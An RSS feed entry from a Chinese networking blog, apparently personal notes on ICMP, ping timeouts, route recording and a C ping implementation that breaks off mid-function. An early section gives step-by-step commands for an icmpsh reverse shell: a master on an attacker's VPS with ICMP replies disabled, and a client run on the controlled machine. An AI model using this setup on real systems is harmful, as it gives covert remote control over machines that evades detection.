<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></title> 
<link>http://jackxiang.com/index.php</link> 
<description><![CDATA[赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除]]></copyright>
<item>
<link>http://jackxiang.com/post//</link>
<title><![CDATA[[实践OK]能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，ping某台机器时，偶尔返回慢，Ping超时检测思路，ping -r 显示路由,C代码，mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。]]></title> 
<author>jack &lt;xdy108@126.com&gt;</author>
<category><![CDATA[Unix/LinuxC技术]]></category>
<pubDate>Wed, 21 Jan 2015 06:06:51 +0000</pubDate> 
<guid>http://jackxiang.com/post//</guid> 
<description>
<![CDATA[ 
	hacker在具有公网ip的VPS上启动server，在被控机器上启动client ,client主动连接server，从而实现通信。为什么是client主动连接server呢？因为被控机器一般是在内网中，没有公网ip。<br/>有没有相应的开源项目呢？当然是有的，https://github.com/inquisb/icmpsh/，这个实现了一个简单icmp反弹shell，它其中的client叫做slave，server叫做master，都是一回事。<br/><br/>能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，这里的IP也就是Ping的机器在没有WebChrome的代理时访问 ip138.com的出口地址：<br/>tcpdump -i eth1 icmp<br/>tcpdump: verbose output suppressed, use -v or -vv for full protocol decode<br/>listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes<br/>16:46:11.433487 IP pinger-e2.ant.isi.edu &gt; levoo.com: ICMP echo request, id 23878, seq 4694, length 12<br/>16:46:11.433528 IP levoo.com &gt; pinger-e2.ant.isi.edu: ICMP echo reply, id 23878, seq 4694, length 12<br/>16:46:12.832107 IP 202.108.16.80 &gt; levoo.com: ICMP echo request, id 52348, seq 15, length 40<br/>16:46:12.832151 IP levoo.com &gt; 202.108.16.80: ICMP echo reply, id 52348, seq 15, length 40<br/>16:46:13.835082 IP 202.108.16.80 &gt; levoo.com: ICMP echo request, id 52348, seq 16, length 40<br/>16:46:13.835119 IP levoo.com &gt; 202.108.16.80: ICMP echo reply, id 52348, seq 16, length 40<br/>16:46:14.837375 IP 202.108.16.80 &gt; levoo.com: ICMP echo request, id 52348, seq 17, length 40<br/>16:46:14.837411 IP levoo.com &gt; 202.108.16.80: ICMP echo reply, id 52348, seq 17, length 40<br/>16:46:15.841689 IP 202.108.16.80 &gt; levoo.com: ICMP echo request, id 52348, seq 18, length 40<br/>16:46:15.841725 IP levoo.com &gt; 202.108.16.80: ICMP echo reply, id 52348, seq 18, length 40<br/><br/>教你学木马攻防：&nbsp;&nbsp;&nbsp;&nbsp;https://cloud.tencent.com/developer/article/1405019<br/>ICMP传送数据原理：https://www.cnblogs.com/qiyeboy/p/9017921.html<br/><br/><br/>Server端：<br/>wget https://raw.githubusercontent.com/inquisb/icmpsh/master/icmpsh_m.py<br/>第一个参数是VPS的公网ip，第二个参数是被控机器的公网ip。被控机器的公网ip用上在这种方式获取。<br/><br/>VPS Server的条件：<br/>master端部署在我自己的VPS上，具有公网ip，首先关闭自身的icmp应答：<br/>$ sysctl -w net.ipv4.icmp_echo_ignore_all=1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (开启置为0)<br/>然后就可以启动icmp应答程序.<br/>先在VPS启动命令：<br/> python icmpsh_m.py&nbsp;&nbsp;源ip 目的ip <br/>python icmpsh_m.py 101.200.228.135 202.108.16.80<br/>You need to install Python Impacket library first<br/><br/><br/>接着在被控端启动命令：&nbsp;&nbsp;<br/>icmpsh.exe -t&nbsp;&nbsp;目的ip <br/>这样ICMP反弹shell就建立了，可以远程执行命令了。<br/><br/><br/><br/><br/>问题:<br/>ping某台机器时，偶尔返回慢，如何检测到这块网络波动能认人直观看到？免得有人说网络没有问题。<br/>建议用脚本做，不要用c实现:<br/>ping -w 1 -c 1 $2&gt;/dev/null<br/>//调用ping函数，-w为超时时间；-c为ping的次数;<br/>ping -w 1 -c 1 $2 <br/>从脚本所在机去ping之后pingcmd函数的第二个参数(本例为之后建立的serve1-7),超时1秒，执行1次<br/><br/>[root@emulMachine ping]# ping -c 2&nbsp;&nbsp;baidu.com&nbsp;&nbsp; <br/>PING baidu.com (220.181.57.216) 56(84) bytes of data.<br/>64 bytes from 220.181.57.216: icmp_seq=1 ttl=52 time=19.7 ms<br/>64 bytes from 220.181.57.216: icmp_seq=2 ttl=52 time=2.52 ms<br/><br/>--- baidu.com ping statistics ---<br/>2 packets transmitted, 2 received, 0% packet loss, time 1000ms<br/>rtt min/avg/max/mdev = 2.520/11.141/19.763/8.622 ms<br/> LINUX系统ping命令完整实现（带路由追踪参数）：<br/><a href="attachment.php?fid=387">点击这里下载文件</a><br/>http://download.csdn.net/download/sjgtongji/4421406<br/><br/>Windows：<br/>ping -n 100 -r 9 -w 1000 10.70.56.88（发送100个数据包，最多记录9个路由,1000毫秒也就是1秒。） <br/>C:&#92;Users&#92;admin&gt;ping -n 100 -r 9 -w 1000 baidu.com&nbsp;&nbsp; （发送100个数据包，最多记录9个路由,1000毫秒也就是1秒。） <br/><br/>正在 Ping baidu.com [123.125.114.144] 具有 32 字节的数据:<br/>来自 123.125.114.144 的回复: 字节=32 时间=17ms TTL=56<br/>&nbsp;&nbsp;&nbsp;&nbsp;路由: 172.21.3.1 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 202.108.16.69 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.49.42.130 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 202.106.229.58 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 202.106.229.57 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 202.106.227.10 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.129 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.97 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.138<br/>来自 123.125.114.144 的回复: 字节=32 时间=14ms TTL=56<br/>&nbsp;&nbsp;&nbsp;&nbsp;路由: 172.21.3.1 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 202.108.16.69 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.49.42.130 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.148.143.22 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.148.143.21 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 61.49.168.89 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.129 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.97 -&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.23.190.138<br/>Linux:<br/> ping -c 9&nbsp;&nbsp;-w 1000 10.70.56.88 （发送9个数据包，最多记录9个路由,1000毫秒也就是1秒。） <br/>[root@emulMachine vhost]# ping -c 9&nbsp;&nbsp;-w 1000 10.70.56.88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>PING 10.70.56.88 (10.70.56.88) 56(84) bytes of data.<br/>64 bytes from 10.70.56.88: icmp_seq=1 ttl=61 time=0.570 ms<br/>64 bytes from 10.70.56.88: icmp_seq=2 ttl=61 time=0.545 ms<br/>64 bytes from 10.70.56.88: icmp_seq=3 ttl=61 time=0.533 ms<br/>64 bytes from 10.70.56.88: icmp_seq=4 ttl=61 time=0.545 ms<br/>64 bytes from 10.70.56.88: icmp_seq=5 ttl=61 time=0.541 ms<br/>64 bytes from 10.70.56.88: icmp_seq=6 ttl=61 time=0.552 ms<br/>64 bytes from 10.70.56.88: icmp_seq=7 ttl=61 time=0.557 ms<br/>64 bytes from 10.70.56.88: icmp_seq=8 ttl=61 time=0.558 ms<br/>64 bytes from 10.70.56.88: icmp_seq=9 ttl=61 time=0.559 ms<br/>____________________________________________________________________________________________________<br/>C:&#92;Users&#92;admin&gt;ping --help<br/>Windows参数:<br/>-n count&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 要发送的回显请求数。<br/>-r count&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 记录计数跃点的路由(仅适用于 IPv4)。<br/>-w timeout&nbsp;&nbsp;&nbsp;&nbsp; 等待每次回复的超时时间(毫秒)。<br/><br/>Linux下参数:<br/>ping --help<br/>[-w deadline]&nbsp;&nbsp;:等待每次回复的超时时间(毫秒)。<br/>[-c count]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :ping 多少次如：-c 2:表示ping两次。<br/>linux下的ping没有像windows下的ping有一个-r的路由：<br/>只能linux下用traceroute，windows下用：tracert baidu.com。<br/>Linux下有一个mtr， mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。<br/>____________________________________________________________________________________________________<br/>Centos下的-w和-c测试如下：<br/>[root@emulMachine ping]# ping -c 6 -w 1 baidu.com <br/>PING baidu.com (123.125.114.144) 56(84) bytes of data.<br/>64 bytes from 123.125.114.144: icmp_seq=1 ttl=52 time=29.9 ms<br/><br/>--- baidu.com ping statistics ---<br/>2 packets transmitted, 1 received, 50% packet loss, time 1000ms<br/>rtt min/avg/max/mdev = 29.930/29.930/29.930/0.000 ms<br/>[root@emulMachine ping]# ping -c 6 -w 10 baidu.com<br/>PING baidu.com (220.181.57.217) 56(84) bytes of data.<br/>64 bytes from 220.181.57.217: icmp_seq=1 ttl=51 time=1.69 ms<br/>64 bytes from 220.181.57.217: icmp_seq=2 ttl=51 time=80.2 ms<br/>64 bytes from 220.181.57.217: icmp_seq=3 ttl=51 time=1.75 ms<br/>64 bytes from 220.181.57.217: icmp_seq=4 ttl=51 time=1.90 ms<br/>64 bytes from 220.181.57.217: icmp_seq=5 ttl=51 time=2.09 ms<br/>64 bytes from 220.181.57.217: icmp_seq=6 ttl=51 time=1.62 ms<br/><br/>--- baidu.com ping statistics ---<br/>6 packets transmitted, 6 received, 0% packet loss, time 5004ms<br/>rtt min/avg/max/mdev = 1.622/14.889/80.268/29.238 ms<br/><br/><br/>——————————————————————————————————————————————————————<br/>给个ping 的-w:timeout详解<br/>其实在命令提示符的帮助中已经说明了，<br/>-w timeout&nbsp;&nbsp;&nbsp;&nbsp; Timeout in milliseconds to wait for each reply.<br/>意思是，按毫秒记每一个应答的超时时间。1000毫秒=1秒<br/>假如，我的网络很差，延迟很大，我ping www.baidu.com，如果我将超时时间设置很短如10毫秒，那么如果发出一个数据包10毫秒内没有收到应答包的话，就给出请求超时的提示。但是如果我将超时时间设置为100000毫秒，就是100秒。那么我就有可能收到类似应答信息<br/>Reply from 61.135.169.105: bytes=32 time=2952ms TTL=47<br/>可以看到time是2952毫秒就是2秒钟，说明网络很差。如果你将超时时间设置为10毫秒，都可以收到应答信息，那么你的网络就非常好。<br/>ping www.baidu.com -w 1000 是使用的方式<br/><br/>来自：http://zhidao.baidu.com/link?url=HjOEnYDQX6WLcfOJibiBLTO7hb66DEEtrtCwJPH7SDRBzu76Lkc_4EjIzqeWmgGrFYeO9NNQ9THl-EaDEk6Ujq<br/><br/>ping -r 的用法？<br/>ping-r count Record route for count hops. <br/>在“记录路由”字段中记录传出和返回数据包的路由。 <br/><br/>在一般情况下你发送的数据包是通过一个个路由才到达对方的，但到底是经过了哪些路由呢？通过此参数就可以设定你想探测经过的路由的个数，不过限制在了9个，也就是说你只能跟踪到9个路由，如果想探测更多，可以通过其他命令实现，我将在以后的文章中给大家讲解。以下为示例： <br/><br/>C:＼&gt;ping -n 1 -r 9 202.96.105.101 （发送一个数据包，最多记录9个路由） <br/><br/>Pinging 202.96.105.101 with 32 bytes of data: <br/><br/>Reply from 202.96.105.101: bytes=32 time=10ms TTL=249 <br/>Route: 202.107.208.187 -&gt; <br/>202.107.210.214 -&gt; <br/>61.153.112.70 -&gt; <br/>61.153.112.89 -&gt; <br/>202.96.105.149 -&gt; <br/>202.96.105.97 -&gt; <br/>202.96.105.101 -&gt; <br/>202.96.105.150 -&gt; <br/>61.153.112.90 <br/><br/>Ping statistics for 202.96.105.101: <br/>Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), <br/>Approximate round trip times in milli-seconds: <br/>Minimum = 10ms, Maximum = 10ms, Average = 10ms <br/><br/>从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ，202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。<br/>来自：http://zhidao.baidu.com/link?url=PI0CZGLokQxxVEGzbrH_FrxRlAaI-vc3AzzX-Ta8K-fQFZmhF3oIcLd94poNvOONL4hI7iQRH6UTE9T6PWaViq<br/><br/><br/>罗毅峰新 15/1/21 星期三 下午 01:50:39<br/>写个程序定时ping呗，返回的数据做成曲线。超过阀值就报警。<br/>下午 01:52:04<br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 01:52:04<br/>是一直ping时会偶尔会有回包慢，这程序怎么写：<br/>64 bytes from 10.70.56.88: icmp_seq=237 ttl=61 time=8.75 ms<br/><br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 01:52:19<br/>要用到定时器吧？<br/><br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 01:52:35<br/>我发出ping后，开始计时，回来后，我结束计时？<br/>下午 01:58:12<br/>罗毅峰新 15/1/21 星期三 下午 01:58:12<br/>我的想法：发出ping后，等1秒取结果。如果没取到就认为网络不正常。取到的话，再看延迟ms情况。<br/>一般用脚本语言写吧。具体细节，如果你们有运维同事，问问他们吧。<br/>下午 02:11:14<br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 02:11:14<br/>这块是1秒设置用select模型？呵呵<br/><br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 02:11:36<br/>select 1秒超时是吧。还是用哪个1秒呢。<br/>下午 02:20:55<br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 02:20:55<br/>这块求思路，如果兄弟写，我对linux下的c不太熟悉呢，我也未必写，他们搞基础运维的刚才承认网络有问题了。<br/>下午 02:22:58<br/>罗毅峰新 15/1/21 星期三 下午 02:22:58<br/>这块我也没写过。大概思路就是刚才说的那样吧。但我觉得不应该用C写。用脚本语言吧，比如python、php、sh什么的。<br/><br/>回忆未来-向东-Jàck 15/1/21 星期三 下午 02:23:37<br/>嗯，好。<br/>——————<br/>基础运维做得好的，我觉得还是腾讯，呵呵。<br/><br/><br/>——————————————————————————————————————————————————————————<br/>linux下自动ping命令检测IP地址的shell脚本：<br/><textarea name="code" class="php" rows="15" cols="100">
#!/bin/sh
#filename ping.sh
#edit by www.jbxue.com
pingcmd()
&#123;
prefix=&quot;SERVER $1 PING $2&quot;
ping -w 1 -c 1 $2&gt;/dev/null
ret=$?
if [ $ret -eq 0 ]

then printf &quot;$prefix is up&quot;
else printf &quot;$prefix is down &#92;n&quot;
fi
return 0
&#125;
echo &quot;---begin check host ---&quot;
server0=&quot;192.168.1.3&quot;
server1=&quot;192.168.1.2&quot;
server2=&quot;192.168.1.1&quot;
server3=&quot;192.168.1.4&quot;
server4=&quot;192.168.1.5&quot;
server5=&quot;192.168.1.6&quot;
server6=&quot;192.168.1.7&quot;
server7=&quot;192.168.1.9&quot;
pingcmd $server0 $server1
pingcmd $server0 $server2
pingcmd $server0 $server3
pingcmd $server0 $server4
pingcmd $server0 $server5
pingcmd $server0 $server6
pingcmd $server0 $server7
echo &quot;&quot;
</textarea><br/><br/>代码说明：<br/>通过调用shell函数pingcmd，实现ping设置在severX中的IP地址代表的主机。<br/><br/>分析下pingcmd函数的实现：<br/>prefix=&quot;SERVER $1 PING $2&quot;&nbsp;&nbsp;&nbsp;&nbsp;//定义一个字符串，为后面printf输出做准备<br/>ping -w 1 -c 1 $2&gt;/dev/null<br/>//调用ping函数，-w为超时时间；-c为ping的次数;<br/>ping -w 1 -c 1 $2 <br/>从脚本所在机去ping之后pingcmd函数的第二个参数(本例为之后建立的serve1-7),超时1秒，执行1次<br/>&gt;/dev/null 的作用是把屏幕的输出从指向到某处，/dev/null是指向空设备，即不需要标准输出。<br/>ret=$?&nbsp;&nbsp;//获取返回值，0为ping成功<br/>if [ $ret -eq 0 ]&nbsp;&nbsp;&nbsp;&nbsp;//如果返回值为0,即ping成功<br/>then printf &quot;$prefixt is up&quot;&nbsp;&nbsp; 则输出一开始定义的字符串（例：SERVER 192.168.1.3 PING 192.168.1.2 OK）<br/>else printf &quot;$prefixt is down&quot; 同上，输出错误信息（此处删除标准输出，之前已定义了输）。<br/>fi<br/><br/><br/>C代码，LINUX系统ping命令完整实现（带路由追踪参数）：<br/><textarea name="code" class="php" rows="15" cols="100">
#include&lt;stdio.h&gt;
#include&lt;signal.h&gt;
#include&lt;arpa/inet.h&gt;
#include&lt;sys/types.h&gt;
#include&lt;sys/socket.h&gt;
#include&lt;unistd.h&gt;
#include&lt;netinet/in.h&gt;
#include&lt;arpa/inet.h&gt;
#include&lt;netinet/ip_icmp.h&gt;
#include&lt;netdb.h&gt;
#include&lt;setjmp.h&gt;
#include&lt;errno.h&gt;
#include&lt;malloc.h&gt;
#define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
double max_time=0,min_time=10000,sum_time=0;
int show_pro=1,iobyname=0;
struct timeval start_time,end_time;
int sockfd,datalen=56;
int send_count=4,send_interval=1,nTTL=-1,route_count=-1,route_TTL=1;
int nsend=0,nreceived=0,npack=0;
struct sockaddr_in dest_addr;
pid_t pid;
struct sockaddr_in from;
struct timeval tvrecv;
void statistics(int signo);
unsigned short cal_chksum(unsigned short *addr, int len);
int pack(int pack_no);
int send_packet(void);
int recv_packet(void);
int unpack(char* buf, int len);
void tv_sub(struct timeval *out, struct timeval *in);
void cal_time(double rtt);
void commandhelp();
void send_recv();




void statistics(int signo)
&#123;
&nbsp;&nbsp;printf(&quot;&#92;n-------------------PING statistics----------------&#92;n&quot;);
&nbsp;&nbsp;printf(&quot;%d packets transmitted , %d received ,%.1f%% lost&#92;n &quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nsend,nreceived,((float)nsend-(float)nreceived)/(float)nsend*100);
&nbsp;&nbsp;if( (max_time!=0) &amp;&amp; (sum_time!=0) )
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;rtt min/avg/max = %.3f %.3f %.3f &#92;n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;min_time,sum_time/nreceived,max_time);
&nbsp;&nbsp;close(sockfd);
&nbsp;&nbsp;exit(0);
&#125;

/*校验和算法*/
unsigned short cal_chksum(unsigned short *addr,int len)
&#123;
&nbsp;&nbsp;int nleft=len;
&nbsp;&nbsp;int sum=0;
&nbsp;&nbsp;unsigned short *w=addr;
&nbsp;&nbsp;unsigned short answer=0;
&nbsp;&nbsp;while(nleft&gt;1)/*把ICMP报头二进制数据以2字节为单位加起来*/
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;sum+=*w++;
&nbsp;&nbsp;&nbsp;&nbsp;nleft-=2;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;if( nleft==1 )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;*(unsigned char *)(&amp;answer) = *(unsigned char *)w;
&nbsp;&nbsp;&nbsp;&nbsp;sum+=answer;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;sum=(sum&gt;&gt;16)+(sum&amp;0xffff);
&nbsp;&nbsp;sum+=(sum&gt;&gt;16);
&nbsp;&nbsp;answer=~sum;
&nbsp;&nbsp;return answer;
&#125;

/*设置ICMP报头*/
int pack(int pack_no)
&#123;
&nbsp;&nbsp;int i,packsize;
&nbsp;&nbsp;struct icmp *icmp;
&nbsp;&nbsp;struct timeval *tval;
&nbsp;&nbsp;icmp=(struct icmp*)sendpacket;
&nbsp;&nbsp;icmp-&gt;icmp_type=ICMP_ECHO;
&nbsp;&nbsp;icmp-&gt;icmp_code=0;
&nbsp;&nbsp;icmp-&gt;icmp_cksum=0;
&nbsp;&nbsp;icmp-&gt;icmp_seq=pack_no;
&nbsp;&nbsp;icmp-&gt;icmp_id=pid;
&nbsp;&nbsp;packsize=8+datalen;
&nbsp;&nbsp;tval = (struct timeval *)icmp-&gt;icmp_data;
&nbsp;&nbsp;gettimeofday(tval,NULL);/*记录发送时间*/
&nbsp;&nbsp;icmp-&gt;icmp_cksum=cal_chksum((unsigned short *)icmp,packsize);/*校验算法*/
&nbsp;&nbsp;return packsize;&nbsp;&nbsp;
&#125;

int send_packet()
&#123;
&nbsp;&nbsp;int packetsize;
&nbsp;&nbsp;npack++;
&nbsp;&nbsp;packetsize=pack(npack);/*设置ICMP报头*/
&nbsp;&nbsp;if( sendto( sockfd, sendpacket, packetsize, 0,
&nbsp;&nbsp;&nbsp;&nbsp;(struct sockaddr *)&amp;dest_addr,sizeof(dest_addr)) &lt;0 )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;sendto error&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;return 0;
&#125;

/*接受报文*/
int recv_packet()
&#123;
&nbsp;&nbsp;int n,fromlen;
&nbsp;&nbsp;extern int errno;
&nbsp;&nbsp;
&nbsp;&nbsp;signal(SIGALRM,statistics);
&nbsp;&nbsp;signal(SIGINT,statistics);
&nbsp;&nbsp;fromlen=sizeof(from);
&nbsp;&nbsp;alarm(MAX_WAIT_TIME);
&nbsp;&nbsp;&nbsp;&nbsp;if( ( n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(struct sockaddr*)&amp;from,&amp;fromlen))&lt;0 )
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( errno==EINTR ) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;recvfrom error&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;&#125;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;tvrecv,NULL);/*记录接收时间*/
&nbsp;&nbsp;&nbsp;&nbsp;if(unpack(recvpacket,n)==0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&#125;

/*剥去ICMP报头*/
int unpack(char *buf,int len)
&#123;
&nbsp;&nbsp;int i,iphdrlen;
&nbsp;&nbsp;struct ip *ip;
&nbsp;&nbsp;struct icmp *icmp;
&nbsp;&nbsp;struct timeval *tvsend;
&nbsp;&nbsp;double rtt;
&nbsp;&nbsp;ip=(struct ip *)buf;
&nbsp;&nbsp;iphdrlen=(ip-&gt;ip_hl)*4;
&nbsp;&nbsp;icmp=(struct icmp *)(buf+iphdrlen);
&nbsp;&nbsp;len-=iphdrlen;
&nbsp;&nbsp;if(len&lt;8)
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;ICMP packets&#92;&#039; length is less than 8&#92;n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;/*确认所接收到的是用户所发的ICMP的回应*/
&nbsp;&nbsp;if( (icmp-&gt;icmp_type==ICMP_ECHOREPLY) &amp;&amp; (icmp-&gt;icmp_id==pid) )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;tvsend=(struct timeval *)icmp-&gt;icmp_data;
&nbsp;&nbsp;&nbsp;&nbsp;tv_sub(&amp;tvrecv,tvsend);/*接收和发送的时间差*/
&nbsp;&nbsp;&nbsp;&nbsp;rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;
&nbsp;&nbsp;&nbsp;&nbsp;cal_time(rtt);
&nbsp;&nbsp;&nbsp;&nbsp;if(show_pro==1)
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%d byte from %s: icmp_seq=%u ttl=%d rtt= %.3f ms&#92;n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len,inet_ntoa(from.sin_addr),icmp-&gt;icmp_seq,ip-&gt;ip_ttl,rtt);
&nbsp;&nbsp;&nbsp;&nbsp;return 0;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;//经过TTL设置后TTL超时
&nbsp;&nbsp;if( (icmp-&gt;icmp_type==11) &amp;&amp; (icmp-&gt;icmp_code==0) &amp;&amp; (nTTL!=-1) )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;if(show_pro==1)
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;From %s icmp_seq=%u Time to live exceeded&#92;n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_ntoa(from.sin_addr),icmp-&gt;icmp_seq);
&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&#125;
&nbsp;&nbsp;//未设置TTL而TTL超时，用于路由跟踪
&nbsp;&nbsp;if( (icmp-&gt;icmp_type==11) &amp;&amp; (icmp-&gt;icmp_code==0) &amp;&amp; (nTTL==-1) )
&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;if(show_pro==1)
&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( (route_TTL==1)&amp;&amp;(route_TTL!=route_count))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot; route:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%s-&gt;&#92;n&quot;,inet_ntoa(from.sin_addr));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( (route_TTL&lt;route_count)&amp;&amp;(route_TTL!=1) )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %s-&gt;&#92;n&quot;,inet_ntoa(from.sin_addr));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( (route_TTL==route_count)&amp;&amp;(route_TTL==1) )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot; route:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%s&#92;n&quot;,inet_ntoa(from.sin_addr));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( (route_TTL==route_count)&amp;&amp;(route_TTL!=1) )
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;
